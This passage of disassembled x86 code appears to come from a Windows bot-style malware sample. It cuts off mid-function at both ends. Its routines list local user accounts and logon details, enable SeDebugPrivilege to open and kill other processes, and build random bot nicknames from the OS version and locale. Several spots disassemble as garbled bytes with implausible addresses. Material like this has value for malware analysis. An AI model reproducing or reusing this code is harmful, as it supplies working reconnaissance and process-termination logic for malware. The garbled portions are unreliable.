		push	edi
		push	ebx
		call	sub_40DFB2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DFB2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DFB2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DFB2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DFB2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DFB2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DFB2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DFB2
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_40EC46
; ---------------------------------------------------------------------------


loc_40EC1A:				; CODE XREF: sub_40E88D+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_42C960
		push	eax
		call	sub_4104AF
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40DFB2
		add	esp, 20h


loc_40EC46:				; CODE XREF: sub_40E88D+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_40EC55
		push	[ebp+var_4]
		call	ds:dword_42FAA8


loc_40EC55:				; CODE XREF: sub_40E88D+40j
					; sub_40E88D+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_40E88D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC5B	proc near		; CODE XREF: seg000:0040A950p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_40E5C2
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 18h


loc_40EC9A:				; CODE XREF: sub_40EC5B+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	ds:dword_42F980
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_40ECFB
		cmp	eax, 0EAh
		jz	short loc_40ECFB
		push	eax
		push	eax
		call	sub_40EDDB
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_42CB68
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 24h
		jmp	short loc_40ED76
; ---------------------------------------------------------------------------


loc_40ECFB:				; CODE XREF: sub_40EC5B+62j
					; sub_40EC5B+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_40ED89
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_40ED76


loc_40ED0D:				; CODE XREF: sub_40EC5B+EDj
		cmp	edi, esi
		jz	short loc_40ED4C
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_40ED0D
		jmp	short loc_40ED76
; ---------------------------------------------------------------------------


loc_40ED4C:				; CODE XREF: sub_40EC5B+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_42CB20
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 1Ch


loc_40ED76:				; CODE XREF: sub_40EC5B+9Ej
					; sub_40EC5B+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_40ED89
		push	edi
		call	ds:dword_42FAA8
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_40ED89:				; CODE XREF: sub_40EC5B+A5j
					; sub_40EC5B+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_40EC9A
		cmp	edi, esi
		jz	short loc_40EDA1
		push	edi
		call	ds:dword_42FAA8


loc_40EDA1:				; CODE XREF: sub_40EC5B+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40EC5B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EDDB	proc near		; CODE XREF: sub_40E431+41p
					; sub_40E626+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40EE8D
		jz	loc_40EE86
		cmp	eax, 7Bh
		ja	short loc_40EE52
		jz	short loc_40EE48
		cmp	eax, 5
		jz	short loc_40EE3E
		cmp	eax, 8
		jz	short loc_40EE34
		cmp	eax, 32h
		jz	short loc_40EE2A
		cmp	eax, 35h
		jz	short loc_40EE20
		cmp	eax, 57h
		jnz	loc_40EEDC
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_40EEFD
; ---------------------------------------------------------------------------


loc_40EE20:				; CODE XREF: sub_40EDDB+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_40EEFD
; ---------------------------------------------------------------------------


loc_40EE2A:				; CODE XREF: sub_40EDDB+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_40EEFD
; ---------------------------------------------------------------------------


loc_40EE34:				; CODE XREF: sub_40EDDB+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_40EEFD
; ---------------------------------------------------------------------------


loc_40EE3E:				; CODE XREF: sub_40EDDB+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_40EEFD
; ---------------------------------------------------------------------------


loc_40EE48:				; CODE XREF: sub_40EDDB+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_40EEFD
; ---------------------------------------------------------------------------


loc_40EE52:				; CODE XREF: sub_40EDDB+1Aj
		sub	eax, 7Ch
		jz	short loc_40EE7F
		sub	eax, 7C8h
		jz	short loc_40EE78
		dec	eax
		jz	short loc_40EE6E
		dec	eax
		jnz	short loc_40EEDC
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_40EEFD
; ---------------------------------------------------------------------------


loc_40EE6E:				; CODE XREF: sub_40EDDB+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_40EEFD
; ---------------------------------------------------------------------------


loc_40EE78:				; CODE XREF: sub_40EDDB+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_40EEFD
; ---------------------------------------------------------------------------


loc_40EE7F:				; CODE XREF: sub_40EDDB+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_40EEFD
; ---------------------------------------------------------------------------


loc_40EE86:				; CODE XREF: sub_40EDDB+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_40EEFD
; ---------------------------------------------------------------------------


loc_40EE8D:				; CODE XREF: sub_40EDDB+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_40EEC6
		jz	short loc_40EEBF
		sub	eax, 8ADh
		jz	short loc_40EEF1
		dec	eax
		dec	eax
		jz	short loc_40EEB8
		dec	eax
		jz	short loc_40EEB1
		dec	eax
		dec	eax
		jnz	short loc_40EEDC
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_40EEFD
; ---------------------------------------------------------------------------


loc_40EEB1:				; CODE XREF: sub_40EDDB+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_40EEFD
; ---------------------------------------------------------------------------


loc_40EEB8:				; CODE XREF: sub_40EDDB+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_40EEFD
; ---------------------------------------------------------------------------


loc_40EEBF:				; CODE XREF: sub_40EDDB+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_40EEFD
; ---------------------------------------------------------------------------


loc_40EEC6:				; CODE XREF: sub_40EDDB+B9j
		sub	eax, 8CAh
		jz	short loc_40EEF8
		sub	eax, 17h
		jz	short loc_40EEF1
		sub	eax, 25h
		jz	short loc_40EEEA
		sub	eax, 29h
		jz	short loc_40EEE3


loc_40EEDC:				; CODE XREF: sub_40EDDB+35j
					; sub_40EDDB+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_40EEFD
; ---------------------------------------------------------------------------


loc_40EEE3:				; CODE XREF: sub_40EDDB+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_40EEFD
; ---------------------------------------------------------------------------


loc_40EEEA:				; CODE XREF: sub_40EDDB+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_40EEFD
; ---------------------------------------------------------------------------


loc_40EEF1:				; CODE XREF: sub_40EDDB+C2j
					; sub_40EDDB+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_40EEFD
; ---------------------------------------------------------------------------


loc_40EEF8:				; CODE XREF: sub_40EDDB+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_40EEFD:				; CODE XREF: sub_40EDDB+40j
					; sub_40EDDB+4Aj ...
		push	offset dword_45E280
		call	sub_4104AF
		pop	ecx
		mov	eax, offset dword_45E280
		pop	ecx
		retn
sub_40EDDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF0F	proc near		; CODE XREF: seg000:0040A995p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_412879
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 0A70000h
		cdq
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_412879
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41285C
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	ds:dword_42FA28
		test	eax, eax
		jnz	short loc_40EF9F
		mov	esi, offset dword_45E07C
		push	offset dword_42CEC0
		push	esi
		call	sub_4104AF
		pop	ecx
		pop	ecx
		jmp	short loc_40EFC8
; ---------------------------------------------------------------------------


loc_40EF9F:				; CODE XREF: sub_40EF0F+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_40EDDB
		pop	ecx
		mov	esi, offset dword_45E07C
		push	eax
		push	offset dword_42CE84
		push	esi
		call	sub_4104AF
		add	esp, 14h


loc_40EFC8:				; CODE XREF: sub_40EF0F+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40EF0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EFCD	proc near		; CODE XREF: sub_406961+7p
					; sub_40F038+5Fp ...

var_36FD8A40	= byte ptr -36FD8A40h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 0A70000h
		mov	al, ds:0FC15FF50h
		stc
		inc	edx
		add	[ebp+var_36FD8A40], al
		retn
sub_40EFCD	endp

; ---------------------------------------------------------------------------
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		xor	esi, esi
		push	dword ptr [ebp+8]
		push	esi
		call	ds:dword_42F9D4
		test	eax, eax
		jz	short loc_40F02A
		cmp	[ebp+0Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_40F013
		or	dword ptr [ebp-8], 2
		jmp	short loc_40F017
; ---------------------------------------------------------------------------


loc_40F013:				; CODE XREF: seg000:0040F00Bj
		and	dword ptr [ebp-8], 0FFFFFFFDh


loc_40F017:				; CODE XREF: seg000:0040F011j
		push	esi
		push	esi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		push	esi
		push	dword ptr [ebp-4]
		call	ds:dword_42FA84
		mov	esi, eax


loc_40F02A:				; CODE XREF: seg000:0040EFFFj
		push	dword ptr [ebp-4]
		call	ds:dword_41C068	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F038	proc near		; CODE XREF: seg000:0040CB59p
					; sub_40F1E9+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_570575B8	= dword	ptr  570575C0h

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	ds:dword_42FA38, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_40F1E2
		cmp	ds:dword_42FA1C, ebx
		jz	loc_40F1E2
		cmp	ds:dword_42F938, ebx
		jz	loc_40F1E2
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_40EFCD
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	ds:dword_42FA38
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_40F1D5
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_42FA1C
		mov	esi, ds:dword_41C068
		test	eax, eax
		jz	loc_40F1D0


loc_40F0DB:				; CODE XREF: sub_40F038+BEj
					; sub_40F038+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_42F938
		test	eax, eax
		jz	loc_40F1D0
		cmp	[ebp+arg_10], ebx
		jnz	short loc_40F0DB
		cmp	[ebp+arg_C], ebx
		jnz	loc_40F188
		cmp	[ebp+arg_4], ebx
		jz	short loc_40F0DB
		push	[ebp+var_124]
		push	8
		call	ds:dword_42FA38
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_40F145
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	ds:dword_42F8E4
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_40F14B
		lea	eax, [ebp+var_230]
		jmp	short loc_40F151
; ---------------------------------------------------------------------------


loc_40F145:				; CODE XREF: sub_40F038+EBj
		push	[ebp+var_124]


loc_40F14B:				; CODE XREF: sub_40F038+103j
		lea	eax, [ebp+var_108]


loc_40F151:				; CODE XREF: sub_40F038+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4104AF
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 14h
		push	edi
		call	esi ; dword_41C068
		jmp	loc_40F0DB
; ---------------------------------------------------------------------------


loc_40F188:				; CODE XREF: sub_40F038+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F0DB
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		call	near ptr 0A70000h
		xlat
		push	[ebp+var_4]
		mov	edi, eax
		call	esi ; dword_41C068
		push	ebx
		push	edi
		call	near ptr 0A70000h
		mov	[ebp+arg_570575B8], 17EBD6FFh
		push	1
		pop	eax
		jmp	short loc_40F1E4
; ---------------------------------------------------------------------------


loc_40F1D0:				; CODE XREF: sub_40F038+9Dj
					; sub_40F038+B5j
		push	[ebp+var_4]
		call	esi ; dword_41C068


loc_40F1D5:				; CODE XREF: sub_40F038+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_40EFCD
		pop	ecx
		pop	ecx


loc_40F1E2:				; CODE XREF: sub_40F038+3Aj
					; sub_40F038+46j ...
		xor	eax, eax


loc_40F1E4:				; CODE XREF: sub_40F038+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F038	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F1E9	proc near		; DATA XREF: seg000:0040D700o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset dword_42CF90
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4104AF
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_40F248
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40DFB2
		add	esp, 14h


loc_40F248:				; CODE XREF: sub_40F1E9+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_40F038
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40F270
		push	offset dword_42CF54
		jmp	short loc_40F275
; ---------------------------------------------------------------------------


loc_40F270:				; CODE XREF: sub_40F1E9+7Ej
		push	offset dword_42CF1C


loc_40F275:				; CODE XREF: sub_40F1E9+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4104AF
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40F2A8
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40DFB2
		add	esp, 14h


loc_40F2A8:				; CODE XREF: sub_40F1E9+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_407AB1
		push	[ebp+var_14]
		call	sub_410277
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h
		retn
sub_40F1E9	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================



sub_40F2C7	proc near		; CODE XREF: seg000:0040CAFBp
					; sub_410096+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 0A70000h
		stosb
		mov	esi, eax
		test	esi, esi
		jz	short loc_40F2F9
		push	0
		push	esi
		call	near ptr 0A70000h
		cwde
		test	eax, eax
		jnz	short loc_40F2F9
		push	esi
		xor	edi, edi
		call	ds:dword_41C068	; CloseHandle


loc_40F2F9:				; CODE XREF: sub_40F2C7+1Aj
					; sub_40F2C7+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40F2C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F2FE	proc near		; CODE XREF: sub_40295F+63p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_41084F
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	ds:dbl_41C660
		call	sub_410CB0
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40F2FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F32E	proc near		; CODE XREF: sub_40F699+49p
					; DATA XREF: seg002:off_42CFD8o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_41C04C	; GetTickCount
		push	eax
		call	sub_410845
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	dword_422524
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41099A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_4224A0, esi
		jle	short loc_40F387


loc_40F361:				; CODE XREF: sub_40F32E+57j
		call	sub_41084F
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42D02C
		push	1Ch
		push	edi
		call	sub_41099A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_4224A0
		jl	short loc_40F361


loc_40F387:				; CODE XREF: sub_40F32E+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40F32E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F38C	proc near		; CODE XREF: seg000:0040C253p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_41C04C	; GetTickCount
		push	eax
		call	sub_410845
		pop	ecx
		call	sub_41084F
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, ds:dword_4224A0
		test	esi, esi
		jle	short loc_40F3CF


loc_40F3B9:				; CODE XREF: sub_40F38C+41j
		call	sub_41084F
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40F3B9


loc_40F3CF:				; CODE XREF: sub_40F38C+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40F38C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	ds:dword_41C04C	; GetTickCount
		push	eax
		call	sub_410845
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_42D034
		push	eax
		push	esi
		call	near ptr 0A70000h
		lodsd
		movsx	eax, ds:byte_42D034
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40F415:				; CODE XREF: seg000:0040F420j
		cmp	eax, ecx
		jnz	short loc_40F41C
		mov	[ebp-4], edx


loc_40F41C:				; CODE XREF: seg000:0040F417j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40F415
		push	61h
		pop	ecx


loc_40F425:				; CODE XREF: seg000:0040F430j
		cmp	eax, ecx
		jnz	short loc_40F42C
		mov	[ebp-4], edx


loc_40F42C:				; CODE XREF: seg000:0040F427j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40F425
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41099A
		xor	esi, esi
		add	esp, 0Ch
		cmp	ds:dword_4224A0, esi
		jle	short loc_40F471


loc_40F44B:				; CODE XREF: seg000:0040F46Fj
		call	sub_41084F
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42D02C
		push	1Ch
		push	edi
		call	sub_41099A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_4224A0
		jl	short loc_40F44B


loc_40F471:				; CODE XREF: seg000:0040F449j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_41C04C	; GetTickCount
		push	eax
		call	sub_410845
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	ds:dword_41C138	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_42D038
		push	1Ch
		push	edi
		call	sub_41099A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_4224A0, esi
		jle	short loc_40F4E6


loc_40F4C0:				; CODE XREF: seg000:0040F4E4j
		call	sub_41084F
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42D02C
		push	1Ch
		push	edi
		call	sub_41099A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_4224A0
		jl	short loc_40F4C0


loc_40F4E6:				; CODE XREF: seg000:0040F4BEj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_42E658
		mov	dword ptr [ebp-94h], 94h
		call	ds:dword_41C000	; GetVersionExA
		call	ds:dword_41C04C	; GetTickCount
		push	eax
		call	sub_410845
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40F570
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40F550
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40F540
		mov	esi, offset a95	; "95"


loc_40F540:				; CODE XREF: seg000:0040F539j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40F5AC
		mov	esi, offset aNt	; "NT"
		jmp	short loc_40F5AC
; ---------------------------------------------------------------------------


loc_40F550:				; CODE XREF: seg000:0040F530j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40F560
		mov	esi, offset a98	; "98"
		jmp	short loc_40F5AC
; ---------------------------------------------------------------------------


loc_40F560:				; CODE XREF: seg000:0040F557j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40F5A7
		mov	esi, offset aMe	; "ME"
		jmp	short loc_40F5AC
; ---------------------------------------------------------------------------


loc_40F570:				; CODE XREF: seg000:0040F527j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40F5A7
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40F589
		mov	esi, offset a2k	; "2K"
		jmp	short loc_40F5AC
; ---------------------------------------------------------------------------


loc_40F589:				; CODE XREF: seg000:0040F580j
